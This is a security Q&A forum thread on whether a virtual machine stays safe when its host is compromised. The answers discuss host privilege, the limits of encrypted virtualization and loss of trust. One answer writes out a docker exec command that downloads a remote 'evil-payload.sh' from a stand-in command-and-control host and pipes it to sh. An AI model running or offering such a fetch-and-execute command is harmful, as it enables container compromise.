I've been researching on virtual machine security and found a lot of articles detailing how an infected VM is isolated (or not) from the host machine.

But I couldn't find any answers to the opposite side of the question. If my host is infected, can I safely run some operation inside of a VM? How would that work?

  • 2
    This may also be an interesting question the other way around...
    – Scot
    Jan 26 at 2:59
  • 2
    @scot The other way around is an actual security design question in the same vein as potential privilege escalation attacks.
    – Shadur
    Jan 26 at 8:10
  • 2
    Imagine someone breaks into your house, do they have access to the garage? Probably. The internal lock on your garage door is probably less strong, there's likely a spare key in the drawer, and they can also isolate the power/water etc. from inside the main house. Will they want to go in there? Who knows, but once they're "inside" you can't stop them doing any things they like.
    – David258
    Jan 26 at 17:31
  • Can you infect the VM yourself? Does the malware have the ability to do things you can do (like reading your bank data)?
    – user253751
    Jan 27 at 14:10

5 Answers 5


The initial question asks "Will the VM be infected?", which is asking to predict the future, which is not possible for anyone on this site to do. So instead, I will answer "Can the VM be infected?"

The reason why you read a lot about VM isolation is because the VM is, in essence, just a process on the host machine, similar to Chrome, VLC or any game you may be playing. A VM process just happens to be a lot more complex, but in essence, the VM is less privileged than your host's operating system. It would be nonsensical if the VM could somehow "overrule" the host's operating system.

But this paints a clear picture: The host OS is more privileged than the guest OS. If malware infects the host, then an attacker may be able to run commands with elevated privileges (root on UNIX systems, SYSTEM on Windows, etc.), or even run with kernel privileges.

If that is the case, then the VM can be modified and infected at will by an attacker. After all, the VM is just a process, running in the same compromised environment.

  • 4
    Does this change at all with features like AMD Secure Encrypted Virtualization?
    – user
    Jan 25 at 13:50
  • 26
    @user: No, fundamentally it does not change. They may claim it does, offer magical-thinking reasons it supposedly doesn't, bring in fancy "enclaves" and "secure execution environments" and whatnot, but ultimately your VM is setup by software under the control of the host, and whether any of that snake oil even gets used is up to the host. The compromised ("infected") host. Jan 25 at 22:11
  • 3
    @R. The point here is that after SEV (and the various other approaches from other vendors) has been set up the HV shouldn't be able to access the guess memory. Which eliminates one common attack vector. Now if you also ensure that the kernel, boot loaders, etc. cannot be modified this actually does make it a whole lot harder to get at the data. Obviously given the complexities of the involved systems there'll be other bugs to get around this, but it does make it harder.
    – Voo
    Jan 26 at 15:04
  • 4
    @Voo: That doesn't really help if the initial guest environment was created by the compromised host; the compromised host need not even actually use the "secure execution" environment it's claiming to use; it can just tell you it's using it. If you're starting from an encrypted guest image with keying intended to make it such that only the secure execution unit can see it, then you're getting somewhere near the realm of actual security boundaries, but still the host has all sorts of exploits at its disposal to extract the keys. Jan 26 at 15:38
  • 2
    @YurySchkatula Breaking out of a VM is a super-variant of privilege escalation attacks. It can be a concern - significantly more so for container-type machines than 'full' VMs - but it's wildly outside the scope of the original question.
    – Shadur
    Jan 28 at 9:36

I believe you are asking the wrong question.

Whether or not your VM is infected is an open question. To answer it, you can inspect the malware, inspect the VM, draw conclusions, make a guess. But you will never know for certain. There is always a possibility that you missed a hidden payload, that your inspection wasn't perfect, that the experts describing what the malware does missed something or that it isn't the exact malware you think it is, but a variant.

The right question to ask is: Can you still trust your VM?

And that answer is no, you cannot. Since you cannot rule out the possibility that the VM was also compromised, or the VM engine itself is compromised, you cannot trust the VM and it is impossible to restore trust.

A thorough inspection can restore some confidence, but not full trust. That machine was out of your control, and you can not be 100% sure that it is now back exclusively under your control.


Yes, if the host is compromised it will almost certainly have access to all of the containers within it through both privileged memory reading and administrative API calls.

  • 1
    Virtual machines are not containers.
    – Reid
    Jan 25 at 22:19
  • 18
    @Reid for purposes of this discussion the difference is semantic at best.
    – Shadur
    Jan 26 at 8:09

The first practical example that comes into my mind is Docker.

Containers are not VMs, but sort of, and the attack pattern is absolutely simple. Once you have taken control of the host machine, you can run commands such as

docker exec [runningContainerName] wget -q -O - https://c-and-c.com/evil-payload.sh | sh

The above command runs a privileged command in a running container, and infects the target container with remote malware. Think about any other possible alternative.

As for VMs, I can think of


You got control of the host, possibly of the kernel, so the malware can control the hypervisor and alter the behaviour of guest machine, access kernel memory areas of the guest, etc.

This is from a high-level perspective.


Once you infected the host machine with a malware, you can start from shutting down, deleting, dumping the VMs. If your virtualization engine supports a deeper interaction with the machines from shell commands, it is easier for the malware to do other evil

  • Connect a USB virtual keyboard and type commnands?
  • Run an executable like on Docker? (This is not something you normally do out-of-the box without a PCI virtual controller)
  • Switch virtual networks and do evil things on traffic?

Pratically, it all depends on the complexity of the malware and the level of interaction provided by virtualization engine. Targeted malware can do targeted action..

I can also think the malware can infest/infect the UEFI firmware of the guest machines to run code on boot (I'm thinking about some UEFI bloatware currently on the market, but to run other malware on the VM)


Not automatically, unless the malware on the host either/or:

  1. Explicitly recognizes the existence of the VM(s) and takes steps to compromise it

  2. Implicitly Compromises resources (eg a shared filesystem with executable files used by both systems) used by the VM

  3. Manipulates operating system or hardware facilities that are used to implement functionalities of hypervisor/drivers (eg low level driver code or firmware used for a network interface card effectively used by host and VMs)

However, unless measures were taken that make any access to a VM resource impossible from the host operating system (eg use of encrypted filesystems with no key available to the host), or unless the malware that was used is completely known and analyzed* and it can be established 1. to 3. did not happen, or all content of the VM can be verified against a known uncorrupted resource (eg by loading the VM on a different known good host and comparing files against a known good copy of the VM) independent of the host, integrity of the VM can not be guaranteed.

*In practice(!), this might sometimes be considered as established when there is a limited number of extant exploitation tools and these are well analyzed, and there is a high likelyhood one of these was used (that is what "antivirus" software does in the end). No guarantees though...

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.